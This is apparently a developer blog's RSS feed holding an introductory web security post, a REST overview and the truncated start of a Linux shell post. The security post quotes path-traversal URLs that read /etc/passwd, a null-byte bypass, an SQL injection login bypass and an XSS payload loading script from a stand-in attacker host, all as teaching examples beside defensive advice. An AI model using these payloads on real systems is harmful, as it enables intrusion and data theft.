&lt;h2 id=&#34;basics&#34;&gt;Basics&lt;/h2&gt;
&lt;h3 id=&#34;hash&#34;&gt;Hash&lt;/h3&gt;
&lt;p&gt;Hashing algorithms are basically &lt;em&gt;one way functions&lt;/em&gt;, where (typically) the &lt;code&gt;hash(x)&lt;/code&gt; call is quick and easy, but its inverse is very slow and expensive - even impossible. In most cases they map arbitrary strings to fixed length, ones with very low probability of collision.&lt;/p&gt;
&lt;p&gt;Hashes are used for example for storing passwords or for the verification of file/message integrity.&lt;/p&gt;
&lt;h3 id=&#34;encryption&#34;&gt;Encryption&lt;/h3&gt;
&lt;p&gt;Two main types: &lt;strong&gt;symmetric&lt;/strong&gt; and &lt;strong&gt;asymmetric&lt;/strong&gt; (public-key) schemes.&lt;/p&gt;
&lt;h4 id=&#34;symmetric-key-encryption&#34;&gt;Symmetric-key encryption&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;quick/easy&lt;/li&gt;
&lt;li&gt;encryption/decryption keys are the same&lt;/li&gt;
&lt;li&gt;both party need to know the secret (the encryption key) - this is the hard part&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ECB&lt;/code&gt; mode - electronic codebook
&lt;ul&gt;
&lt;li&gt;all blocks are simply encrypted with the key&lt;/li&gt;
&lt;li&gt;attacker can analyze the encrypted data to retrieve the key&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CBC&lt;/code&gt; mode - cipher block chaining
&lt;ul&gt;
&lt;li&gt;to increase entropy, blocks are XORed with the previous cipher text block before being encrypted&lt;/li&gt;
&lt;li&gt;usually an initialization vector (IV, nonce) is used to scramble the first block&lt;/li&gt;
&lt;li&gt;much safer than &lt;code&gt;EBC&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;examples: &lt;code&gt;DES&lt;/code&gt;, &lt;code&gt;3DES&lt;/code&gt;, &lt;code&gt;AES&lt;/code&gt;, &lt;code&gt;IDEA&lt;/code&gt;, &amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;asymmetric-public-key-encryption&#34;&gt;Asymmetric (public-key) encryption&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;more &lt;em&gt;expensive&lt;/em&gt;/slow&lt;/li&gt;
&lt;li&gt;key-pairs: public + private keys&lt;/li&gt;
&lt;li&gt;everyone has access to the public key&lt;/li&gt;
&lt;li&gt;key exchange is easy (if you &lt;strong&gt;trust&lt;/strong&gt; the source of the public key - MITM)&lt;/li&gt;
&lt;li&gt;can be used to &lt;em&gt;sign&lt;/em&gt; content (authentication, integrity, can&amp;rsquo;t be denied)&lt;/li&gt;
&lt;li&gt;can be used to safely distribute symmetric keys (i.e. Diffie-Hellmann key exchange for TLS/SSL)&lt;/li&gt;
&lt;li&gt;examples: &lt;code&gt;RSA&lt;/code&gt;, &lt;code&gt;DSA&lt;/code&gt;, various curve based algorithms (&lt;code&gt;ECDSA&lt;/code&gt;, &lt;code&gt;EDDSA&lt;/code&gt;), &amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;user-data-handling&#34;&gt;User data handling&lt;/h2&gt;
&lt;h3 id=&#34;cookies&#34;&gt;Cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;only for the same domain&lt;/li&gt;
&lt;li&gt;easy to use, stored in the browser&lt;/li&gt;
&lt;li&gt;cannot be trusted entirely, client can modify the data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HttpOnly&lt;/code&gt;: cannot be read/modified by JS (in a standard browser)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Secure&lt;/code&gt;: sent back only over secure channel (HTTPS)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;sessions&#34;&gt;Sessions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;stored on the server side&lt;/li&gt;
&lt;li&gt;the client has only the session id
&lt;ul&gt;
&lt;li&gt;if an attacker knows your session id, he might be able to use your session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;session id in URLs
&lt;ul&gt;
&lt;li&gt;very rarely used recently, but was common in the past&lt;/li&gt;
&lt;li&gt;easy to steal (especially over HTTP)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;session id in cookies
&lt;ul&gt;
&lt;li&gt;most common way&lt;/li&gt;
&lt;li&gt;cookies can be more secure:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HttpOnly&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Secure&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;they expire&lt;/li&gt;
&lt;li&gt;CORS&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;you can provide extra protection by binding the session to any other client specific data (like IP address, that an attacker cannot change easily)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;signed-cookies&#34;&gt;Signed cookies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;data is stored in cookies, BUT it is digitally signed by the server&lt;/li&gt;
&lt;li&gt;can be trusted, client cannot modify the data w/o signature corruption&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;jwt-json-web-token&#34;&gt;JWT (JSON Web Token)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;basically &lt;em&gt;standardized&lt;/em&gt; version of signed cookies (using custom header instead of cookies)&lt;/li&gt;
&lt;li&gt;lot of libraries&lt;/li&gt;
&lt;li&gt;easy SSO (no cookie limitations, can be cross domain)&lt;/li&gt;
&lt;li&gt;use with care, via well tested libraries&lt;/li&gt;
&lt;li&gt;(even most libraries had flaws in the past, if you&amp;rsquo;d try to implement it yourself, you probably will fail somewhere)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;storing-passwords&#34;&gt;Storing passwords&lt;/h2&gt;
&lt;h3 id=&#34;as-plain-text&#34;&gt;As plain text&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;so, it will be easy to send password reminder emails&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DO NOT EVER&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;also, do not send the password in email to the newly registered user&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;as-simple-hash&#34;&gt;As simple hash&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;still no&lt;/li&gt;
&lt;li&gt;&lt;em&gt;rainbow tables&lt;/em&gt; - pre-generated searchable list of hashes&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;salted-hash&#34;&gt;Salted hash&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;much better, especially with per-password salts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Generating a rainbow table for a specific salt+algorithm pair (using GPUs for example) can be pretty &lt;em&gt;quick&lt;/em&gt;, so you might want to use &lt;em&gt;slow&lt;/em&gt; hash algorithms.&lt;/p&gt;
&lt;h3 id=&#34;password-summary&#34;&gt;Password summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;use random generated salts for each password&lt;/li&gt;
&lt;li&gt;use &lt;em&gt;slow&lt;/em&gt; hash algorithms (like Argon2 or Bcrypt)&lt;/li&gt;
&lt;li&gt;store the hash algorithm as well, it can be upgraded later if a security flaw is discovered for the current one&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Example from Linux:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$algid$veryrandomsalt$hashedpassword&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#md5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; crypt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;crypt(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;nem igazi jelszo&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;$1$saltsalt&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;$1$saltsalt$vQbMk4l2lRc5Nr/elLy970&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#sha-256&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; crypt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;crypt(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;nem igazi jelszo&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;$5$saltsalt&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;$5$saltsalt$YgzPiIYuBL6dqAnD1icVdvGnZRxKjm3nb.akiwHaPb3&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#sha-512&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; crypt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;crypt(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;nem igazi jelszo&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;$6$saltsalt&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;$6$saltsalt$5Svv7/14kYtcAMAjbHEQ/J8H.X9RyKNEh8XD2/ppt9MYH57eXgeWQ.o0RJfoovtzlJT1kVEcIDaUKyd8yL6jp1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;file-inclusion&#34;&gt;File inclusion&lt;/h2&gt;
&lt;p&gt;Sometimes you have to include files into your application based on data coming from the internet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NEVER TRUST ANY DATA COMING FROM THE INTERNET.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Best solution: do not do such thing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Long time ago in a galaxy far, far away, there was an ecommerce site, where the old weblogic server did not support the SVG content-type. So they created a &amp;ldquo;page&amp;rdquo; called &lt;code&gt;svg.jsp&lt;/code&gt; that read the file provided in the URL parameters and served it with the proper SVG content-type.&lt;/p&gt;
&lt;p&gt;Then I sent them the following URL: &lt;code&gt;https://unknownsite.com/svg.jsp?file=../../../../etc/passwd&lt;/code&gt;. So they &lt;em&gt;fixed&lt;/em&gt; it to sevre only files under the &lt;code&gt;WEB-INF&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;Then I sent them the following URL: &lt;code&gt;https://unknownsite.com/svg.jsp?file=../../web.xml&lt;/code&gt;. So they &lt;em&gt;fixed&lt;/em&gt; it to accept the file parameter only if it ends with &lt;code&gt;.svg&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then I sent them the following URL: &lt;code&gt;https://unknownsite.com/svg.jsp?file=../../web.xml%00.svg&lt;/code&gt;. And asked them to move the svg files under a static webserver, that can set the content-type properly, and delete that &lt;code&gt;svg.jsp&lt;/code&gt; for good. That solved the issue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you really need to do something like this, unescape/urldecode properly (using a well tested library/framework), resolve the absolute path and restrict access to a specific directory, and be really careful.&lt;/p&gt;
&lt;p&gt;&amp;hellip; and &lt;strong&gt;DO NOT EVER INCLUDE EXECUTABLE CODE IN THIS WAY!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Used to be a general solution among PHP developers in the early days, and PHP even let you import files from the internet that time&amp;hellip; it was a nightmare (or heaven on Earth - depends who you ask).&lt;/p&gt;
&lt;h2 id=&#34;sql-injection&#34;&gt;Sql injection&lt;/h2&gt;
&lt;p&gt;Imagine the following code that checks the credentials of a user:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;user = SQL(&amp;#34;select * from users where email=&amp;#39;&amp;#34; + email_from_user_input + &amp;#34;&amp;#39; and password=&amp;#39;&amp;#34; + hashed_password_from_user_input + &amp;#34;&amp;#39;;&amp;#34;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Regular user input:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{
    &amp;#34;email&amp;#34;: &amp;#34;alma@beka.com&amp;#34;,
    &amp;#34;password&amp;#34;: &amp;#34;cicaMICA&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;-&amp;gt; 🎉&lt;/p&gt;
&lt;p&gt;Soros funded evil hacker who wants to spread anarchy:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{
    &amp;#34;email&amp;#34;: &amp;#34;&amp;#39; or user_id=1; --&amp;#34;,
    &amp;#34;password&amp;#34;: &amp;#34;idontcare&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;-&amp;gt; 😢 (he&amp;rsquo;s probably the admin user now that has the first id) &lt;a href=&#34;https://xkcd.com/327/&#34;&gt;XKCD&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Use ORM or at least prepared statements. Do not try to manually escape the data coming from untrusted sources, you&amp;rsquo;ll fail eventually.&lt;/p&gt;
&lt;p&gt;But anyway, &lt;strong&gt;NEVER TRUST USER INPUT!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;xss---cross-site-scripting&#34;&gt;XSS - Cross Site Scripting&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Scenario:&lt;/em&gt; Search page, current search term is shown at the top of the page.&lt;/p&gt;
&lt;p&gt;Regular user:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Searches for &lt;code&gt;apple&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Apples are shown (among iPhones and Macs)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Malevolent easter-european from the dark side of the internet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Searches for &lt;code&gt;apple&amp;lt;script src=&amp;quot;//h4x0rz.org/evilhackerscripttostealuserdata.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Apples are shown&lt;/li&gt;
&lt;li&gt;Copies the direct link to this page and posts it to a public forum like: &lt;em&gt;&amp;ldquo;Look they even have iPhones among the apples, lol.&amp;rdquo;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Victim clicks on the link, buys an apple using online payment, and a few minutes later &lt;em&gt;buys&lt;/em&gt; an iPhone for someone in Poland.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;General rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DO NOT TRUST ANY USER INPUT, OR ANYTHING COMING FROM UNTRUSTED SOURCES!&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;untrusted source:&lt;/em&gt; basically anything, that is not written by you. Well, do not even trust that&amp;hellip;&lt;/li&gt;
&lt;li&gt;escape everything, using well tested libraries:
&lt;ul&gt;
&lt;li&gt;HTML escape/sanitize, carefully escape HTML attributes or CSS rules&lt;/li&gt;
&lt;li&gt;Check &lt;a href=&#34;https://owasp.org/www-community/attacks/xss/&#34;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;csp---content-security-policy&#34;&gt;CSP - Content Security Policy&lt;/h2&gt;
&lt;p&gt;&lt;abbr title=&#34;Content Security Policy&#34;&gt;CSP&lt;/abbr&gt; helps preventing XSS attacks, tells the browser the valid sources of different content types. For example you can set that CSS and JS files can be included only from your domain, and those that are directly embedded into the page content should not be executed.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&#34;&gt;MDN&lt;/a&gt; for details.&lt;/p&gt;
&lt;h2 id=&#34;csrf---cross-site-request-forgery&#34;&gt;CSRF - Cross Site Request Forgery&lt;/h2&gt;
&lt;p&gt;Malcious site sends requests to other site with the current user&amp;rsquo;s credentials.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press the button to see funny video!&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST&lt;/code&gt;s a request to your webbank to transfer some money to the attacker&amp;hellip; also shows a funny video, so no worries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Solutions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check the &lt;code&gt;Origin&lt;/code&gt; header (if present) - might not be possible&lt;/li&gt;
&lt;li&gt;use CSRF token (random token, updated by every request, bound to user session) that is required for state changing operations&lt;/li&gt;
&lt;li&gt;modern browsers block cross-origin AJAX calls by default (see &lt;a href=&#34;https://horak.hu/posts/cors/&#34;&gt;CORS&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;modern browsers also use &lt;code&gt;SameSite=Lax&lt;/code&gt; by default for cookies, which also helps (see &lt;a href=&#34;https://horak.hu/posts/http/#cookies&#34;&gt;Cookies&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NEVER TRUST ANYTHING COMING FROM THE INTERNET&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content>
    </item>
    
    <item>
      <title>REST</title>
      <link>https://horak.hu/posts/rest/</link>
      <pubDate>Mon, 12 Jun 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/rest/</guid>
      <description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;RE&lt;/strong&gt;presentational &lt;strong&gt;S&lt;/strong&gt;tate &lt;strong&gt;T&lt;/strong&gt;ransfer&lt;/em&gt; is a software architectural style for creating &lt;em&gt;stateless&lt;/em&gt; web APIs. These APIs are typically based on HTTP methods to access resources specified by URIs that are transmitted in JSON or XML encoded form. They are called &lt;em&gt;RESTful APIs&lt;/em&gt;.&lt;/p&gt;</description>
      <content>&lt;p&gt;&lt;em&gt;&lt;strong&gt;RE&lt;/strong&gt;presentational &lt;strong&gt;S&lt;/strong&gt;tate &lt;strong&gt;T&lt;/strong&gt;ransfer&lt;/em&gt; is a software architectural style for creating &lt;em&gt;stateless&lt;/em&gt; web APIs. These APIs are typically based on HTTP methods to access resources specified by URIs that are transmitted in JSON or XML encoded form. They are called &lt;em&gt;RESTful APIs&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id=&#34;resource-oriented&#34;&gt;Resource oriented&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;URI -&amp;gt; resource (and not action)&lt;/li&gt;
&lt;li&gt;multiple URIs can point to the same resource (&lt;code&gt;/employees/12&lt;/code&gt;, &lt;code&gt;/departments/development/employees/2&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;the resources are separate from the representation (same resource can be sent as JSON or XML for example)&lt;/li&gt;
&lt;li&gt;manipulation through this representation&lt;/li&gt;
&lt;li&gt;&lt;abbr title=&#34;Hypermedia as the engine of application state&#34;&gt;HATEOAS&lt;/abbr&gt; - resources can link to other resources, the client can discover the required content&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;http-based&#34;&gt;HTTP based&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;URL&lt;/em&gt;: the resource URI&lt;/li&gt;
&lt;li&gt;&lt;em&gt;HTTP methods&lt;/em&gt;: actions (&lt;code&gt;GET&lt;/code&gt;/&lt;code&gt;POST&lt;/code&gt;/&lt;code&gt;PUT&lt;/code&gt;/&lt;code&gt;DELETE&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;HTTP response status&lt;/em&gt;: error handling (not found, bad request, not authorized&amp;hellip;)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;HTTP headers&lt;/em&gt;: cache-abilty, content negotiation, &amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;stateless&#34;&gt;Stateless&lt;/h2&gt;
&lt;p&gt;The server does not track the state of any client, the response is always based on only the request. Session state is typically handled by the client.&lt;/p&gt;
&lt;h2 id=&#34;example&#34;&gt;Example&lt;/h2&gt;
&lt;p&gt;Retrive the user list:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;GET /users

-&amp;gt; (200 OK) [{name: &amp;#39;lili&amp;#39;, id: 12}, {name: &amp;#39;zsuzsi&amp;#39;, id: 7}, ...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Create new user:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;POST /users
{name: &amp;#39;gyuri&amp;#39;}

-&amp;gt; (201 Created) {name: &amp;#39;gyuri&amp;#39;, id: 16}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Modify user:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;PUT /users/16
{name: &amp;#39;dyuri&amp;#39;}

-&amp;gt; (200 OK) {name: &amp;#39;dyuri&amp;#39;, id: 16}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Delete user:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;DELETE /users/16

-&amp;gt; (200 OK)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;tools&#34;&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;browsers&amp;rsquo; dev tools&lt;/li&gt;
&lt;li&gt;browser extensions, like &lt;a href=&#34;https://chrome.google.com/webstore/detail/yet-another-rest-client/ehafadccdcdedbhcbddihehiodgcddpl&#34;&gt;YARC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;bigger tools like &lt;a href=&#34;https://www.advancedrestclient.com/&#34;&gt;ARC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;command line tools like &lt;a href=&#34;https://httpie.io/&#34;&gt;httpie&lt;/a&gt; (oh, just noticed, that it has now desktop/webapp versions, too 🎉)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;REST&lt;/em&gt; is not a standard, but an architectural style. Also, most APIs claiming to be RESTful does not implement HATEOAS - they just use resource URIs and HTTP methods, or even they definition of resource is not exact in some cases. &lt;strong&gt;I&lt;/strong&gt; call these APIs &lt;em&gt;REST-like&lt;/em&gt;, and they are completely fine in most cases - despite being non-stricly REST.&lt;/p&gt;
&lt;/blockquote&gt;</content>
    </item>
    
    <item>
      <title>Linux Basics</title>
      <link>https://horak.hu/posts/linux-basics/</link>
      <pubDate>Wed, 07 Jun 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/linux-basics/</guid>
      <description>&lt;h2 id=&#34;aka-dont-fear-the-terminal&#34;&gt;a.k.a don&amp;rsquo;t fear the terminal&lt;/h2&gt;
&lt;p&gt;As a (mainly) web developer, I develop software that is mostly running on Linux - whether it&amp;rsquo;s a virtual machine in the cloud, a docker container, or my NAS under the staircase. So - for me - using any other operating system for development would be an extra hindrance.&lt;/p&gt;
&lt;p&gt;To be honest, I like the customisability and freedom that only a Linux distribution can provide, I&amp;rsquo;m on Linux for more than 20 years, and happy with it. But if you are new, I try to give you a quick overview, why the terminal could be a useful tool.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;aka-dont-fear-the-terminal&#34;&gt;a.k.a don&amp;rsquo;t fear the terminal&lt;/h2&gt;
&lt;p&gt;As a (mainly) web developer, I develop software that is mostly running on Linux - whether it&amp;rsquo;s a virtual machine in the cloud, a docker container, or my NAS under the staircase. So - for me - using any other operating system for development would be an extra hindrance.&lt;/p&gt;
&lt;p&gt;To be honest, I like the customisability and freedom that only a Linux distribution can provide, I&amp;rsquo;m on Linux for more than 20 years, and happy with it. But if you are new, I try to give you a quick overview, why the terminal could be a useful tool.&lt;/p&gt;
&lt;h2 id=&#34;shell&#34;&gt;Shell&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;shell&lt;/em&gt; is basically a program that takes commands from the user and gives them to the operating system to perform. There are different flavors of a shell - just as there are different operating systems.&lt;/p&gt;
&lt;p&gt;Many shells are based on or extends the capabilities of the basic &lt;abbr title=&#34;Portable Operating System Interface&#34;&gt;POSIX&lt;/abbr&gt; compilant Bourne &lt;code&gt;sh&lt;/code&gt; shell (like &lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;ksh&lt;/code&gt; or &lt;code&gt;zsh&lt;/code&gt;) and there are many that doesn&amp;rsquo;t even try to be compatible with that (&lt;code&gt;tcsh&lt;/code&gt;, &lt;code&gt;fish&lt;/code&gt;, &lt;code&gt;xonsh&lt;/code&gt;, &amp;hellip;). Modern ones support command completion, syntax highlighting and many other fancy features.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The Terminal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The terminal is basically an interface to access the command line interface of the OS. Long ago they were physical devices - a monitor + keyboard - and connected to a mainframe using protocols like DEC VT100 or ANSI X3.64.&lt;/p&gt;
&lt;p&gt;Today we usually use &lt;em&gt;terminal emulators&lt;/em&gt; that emulate these devices - supporting those quite old protocols. It would be really great to have something much newer protocol that could replace these old ones, and there are a few attempts from individuals or small projects, but I doubt we&amp;rsquo;d see much progress lacking support from big companies.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;bash&#34;&gt;&lt;code&gt;bash&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s see some details about the most used (at least by default) shell, the &lt;em&gt;Bourne Again Shell&lt;/em&gt; - &lt;code&gt;bash&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;environment-variables&#34;&gt;Environment variables&lt;/h3&gt;
&lt;p&gt;You can set/read different environment variables, that will be available in all child process (program executed in the given context).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ VAR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;something
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo $VAR
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;something
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ unset VAR
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo $VAR             &lt;span style=&#34;color:#75715e&#34;&gt;# prints nothing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ export VAR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;foobar     &lt;span style=&#34;color:#75715e&#34;&gt;# makes it available for sub-shells&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ env                   &lt;span style=&#34;color:#75715e&#34;&gt;# show all available environment variables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;VAR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;foobar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;basic-scripting&#34;&gt;Basic scripting&lt;/h3&gt;
